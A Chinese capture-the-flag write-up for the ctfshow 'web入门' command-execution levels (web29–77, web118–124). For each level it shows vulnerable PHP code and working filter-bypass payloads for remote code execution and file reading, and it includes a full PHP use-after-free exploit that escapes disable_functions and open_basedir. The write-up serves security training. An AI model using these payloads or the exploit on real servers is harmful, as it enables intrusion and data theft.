ctfshow web入门 命令执行 web29~web77 web118~web124

这篇具有很好参考价值的文章主要介绍了ctfshow web入门 命令执行 web29~web77 web118~web124。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

只过滤了flag,简简单单。

payload:

?c=system('tac f*');
?c=system('tac f*')?>
?c=echo `tac fla''g.php`;
?c=echo `tac f*`;
?c=system("cp fla?.php 1.txt");#然后访问1.txt

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag、system、php。

payload:

?c=passthru('tac f*');
?c=passthru("tac fl''ag.ph''p");
?c=echo `tac fla''g.php`;
?c=echo `tac f*`;
?c=echo `tac fla''g.ph''p`;
?c=`cp fla?.p?p 1.txt`;#然后访问1.txt

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag、system、php、cat、sort、shell、. '

payload:

?c=passthru("tac%09f*");
?c=eval($_GET[1]);&1=system('tac f*');
?c=`cp%09fl*%091`;#然后访问1

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag、system、php、cat、sort、shell、. '、`、echo、;(

;可以用?>代替

payload:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

include$_GET[1]?>就是包含GET参数1的值,而1的值没有任何过滤,直接包含flag.php文件,但是没有回显,所以使用php伪协议base64编码后呈现。

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
	}
}else{
    highlight_file(__FILE__);
}

比web32多过滤了一个双引号。所以web32的方法还是可以用的。

payload:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又多过滤了一个冒号,对之前的payload还是没影响哈。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了<=。因为过滤的不是>,所以之前的payload还是可以。

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了/和数字。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

本题考点就是文件包含伪协议利用。

?c=data://text/plain,<?php system('tac f*');?>

web38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

过滤了php,我们使用短标签即可绕过。

?c=data://text/plain,<?= system('tac f*');?>

web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
}else{
    highlight_file(__FILE__);
}

在我们的传递的参数值后面加了一个.php,还是没啥影响啊。

?c=data://text/plain,<?= system('tac f*');?>

web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

没有过滤字母、分号、圆括号(题目里的是中文的括号),可以使用无参数rce的payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

另一种方法

尝试拿到变量:

?c=print_r(get_defined_vars());

然后POST一个值:1=phpinfo();

再看变量:

?c=print_r(get_defined_vars());

结果是这样的:

Array ( [_GET] => Array ( [c] => print_r(get_defined_vars()); ) [_POST] => Array ( [1] => phpinfo(); ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) [c] => print_r(get_defined_vars()); )

现在我们只要从中提取到phpinfo();这个字符串就可以RCE了。

先next(),得到[_POST] => Array ( [1] => phpinfo(); )。然后array_pop得到数组的值。

最后的payload:

?c=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac f*');

web41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

无数字字母RCE,使用hint里的链接里的脚本:(14条消息) ctfshow web入门 web41_yu22x的博客-CSDN博客

web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null表示把我们是命令结果放到黑洞里去了,不会显示结果;2>&1 表示错误输出也会被放到黑洞里。使用;分隔符即可。

payload:

?c=tac flag.php;ls

web43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了;和cat。

可以用%0a换行符绕过。

?c=tac flag.php%0a

或者用&&,要url编码:

?c=tac flag.php%26%26

web44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了flag。

?c=tac f*%0a
?c=tac f*%26%26

web45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了空格。本题空格可以用以下字符代替:

${IFS} 
$IFS$1 //$1改成$加其他数字貌似都行
%09

payload:

?c=tac${IFS}f*%0a
?c=tac$IFS$1f*%0a
?c=tac%09f*%0a

web46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了数字、$、*。

payload:

?c=tac%09fla?.php%0a

web47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php%0a

web48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php%0a

web49

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php%0a

web50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

nl(number line)命令用于计算文件的行号并将带有行号的内容输出到标准输出

payload:

?c=nl<fla''g.php%7C%7C

然后访问源代码

web51

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=nl<fla''g.php%7C%7C

然后访问源代码

web52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

把$放出来了。

payload:

?c=nl$IFS/fla''g||

web53

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=ca''t${IFS}fla?.php

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=paste${IFS}fla?.php
?c=/bin/?at${IFS}f???????	#/bin/?at就是cat
?c=mv${IFS}fla?.php${IFS}a.txt	#把flag.php重命名为a.txt,然后直接访问a.txt即可

web55

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

把字母过滤了,但是还保留了数字。

1、使用base64进行匹配

把flag.php的内容以base64输出了

?c=/???/????64 ????.???
相当于/bin/base64 flag.php

2、bzip2命令

将flag文件进行压缩,然后再访问flag.php.bz2下载

?c=/???/???/????2 ????.???

3、运用.(进行)执行sh命令

p神文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#php5shell

首先利用下面的表单上传随便一个小文件。(表单可以直接f12修改html插入网页

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传文件抓包,发送到Repeater模块。有两处进行修改:

把文件内容改成想要执行的命令:

#!/bin/sh
ls

添加get参数:

?c=.%20/???/????????[@-[]

没有回显就是运气不好,多发送几次就好了。

web56

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

数字也过滤了,没有过滤./

运用.(进行)执行sh命令,和web56第三种方法一样。

web57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

在linux命令行中:

f41ry@~$echo $(())
0
f41ry@~$echo ~$(())
~0
f41ry@~$echo $((~$(())))
-1
f41ry@~$echo $(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))
-36
f41ry@~$echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
36

所以就得到了36,因为flag在36.php中嘛,直接传参:

?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

或者

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

直接用system函数试一下,发现被禁用了,然后又试了其他的函数都被禁用了

然后我们可以用读取文件的方式进行,在这里它没有禁用文件读取

c=echo file_get_contents("flag.php");

可以得到flag

web59

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

file_get_contents也禁用了,还可以使用highlight_file

payload:

c=highlight_file("flag.php");

另一种,因为没有禁用include

POST:
c=include($_POST['a']);&a=php://filter/convert.base64-encode/resource=flag.php

web60

源码没变。上一题的include方法,依然可以用。

还可以使用高亮函数:

c=highlight_file("flag.php");

web61

源码没变,这个题前两个的payload也可以用

也可以用show_source()函数

c=show_source("flag.php");

web62

前几个payload都可以用,还可以用include包含,读取变量值:

c=include("flag.php");echo $flag;

web63

之前的payload都可以用

然后,我们这个题可以用一下var_dump

c=include('flag.php');var_dump(get_defined_vars());

web64

源码依然是一样的,前面payload都可以使用

这个题可以使用其他的

c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web65

依然是那个函数,直接show_source()得flag

web66

还是那个源码,但是show_source被禁用了

但是高亮函数是肯定没有被禁了,我们可以用高亮函数

但是发现flag不在flag.php中,位置不对

我们查看一下位置

c=print_r(scandir("/"));

发现到了flag.txt

然后直接flag.txt

c=highlight_file('/flag.txt');

web67

这个题和上一题相似,直接显示flag.php是没有的,真正的flag不在flag.php,然后多了

print_r函数的过滤,我们可以改用var_dump

c=highlight_file('/flag.txt');

web68-70

一上来居然没有代码,所以很明显,那种显示的函数肯定是被禁的

show_source、highlight_file、file_get_contents
所以我们可以用文件包含的方式,

payload:

c=include("/flag.txt");
c=require_once('/flag.txt');

web71

附件中的源码

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

函数解释

  • ob_get_contents()——返回输出缓冲区的内容
  • ob_end_clean——清空(擦除)缓冲区并关闭输出缓冲

解题的思路

执行PHP代码exit(),让后面的匹配缓冲区不执行直接退出
payload

c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();

web72

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

打开后直接显示:

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

说明error_reporting()ini_set()highlight_file()都被禁用了。

使用glob://伪协议绕过disable_function

c=$a = "glob:///*";
if ( $b = opendir($a) ) {
	while ( ($file = readdir($b)) !== false ) {
		echo $file."\n";
	}
	closedir($b);
}exit(0);

得到了flag文件的名字:/flag0.txt

这时候我们直接payloadc=include('/flag0.txt');exit();,会没有权限:

Warning: include(): open_basedir restriction in effect. File(/flag0.txt) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

这个时候我们就需要用到uaf脚本绕过open_basedir restriction。

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码

web73

glob伪协议

c=%3F%3E%3C%3Fphp%0A%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E

拿到根目录,在flagc.txt中,于是使用

c=include("/flagc.txt");exit();

拿到flag

或者:

c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt
c=include('/flagc.txt');exit();

web74

这题又ban了scandir()函数,

payload:

c=include('/flagc.txt');exit();

web75

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

得到文件名flag35.txt,然后利用PDO连接数据库load_file读取文件。

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag35.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

和web75一样,flag变成flag36.txt

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

然后访问1.txt

web118

查看源代码,发现:<!-- system($code);-->

经过测试,过滤了字母数字|^,没有过滤空格和环境变量。

看了hint发现,环境变量PATH是/bin,路径PWD是/var/www/html。

${PATH:~A}${PWD:~A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。

payload:

${PATH:~A}${PWD:~A}$IFS????.???
相当于:nl flag.php

其他payload:

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

web119

构造出/bin/cat flag.php

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

构造出/bin/base64 flag.php

${#RANDOM}的值大概率是4或5,这就构造出4了
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/
所以payload

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就可以得到了base64的编码,解码一下得到flag

web120

又过滤掉了好多东西,但是上一题的payload可以直接用。

hint:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

提示构造的结果为

/bin/cat flag.php

所以说

${USER:}的最后一位为a

web121

源码也是给我们了,过滤了超多东西,最重要的SHLVL被过滤掉了,所以需要用别的方法代替1

${##} 和 ${#?} 可以代替

payload:

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

即/bin/rev flag.php

${IFS}的默认长度为3,${PWD:${#IFS}:${#?}}的值为r
用到的rev命令,会倒叙输出
输出完再进行,倒叙处理得到flag

web122

通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

可能存在成功的机会,不断刷新

web124

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

payload:文章来源地址https://www.toymoban.com/news/detail-400914.html

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{abs})&pi=system&abs=tac f*

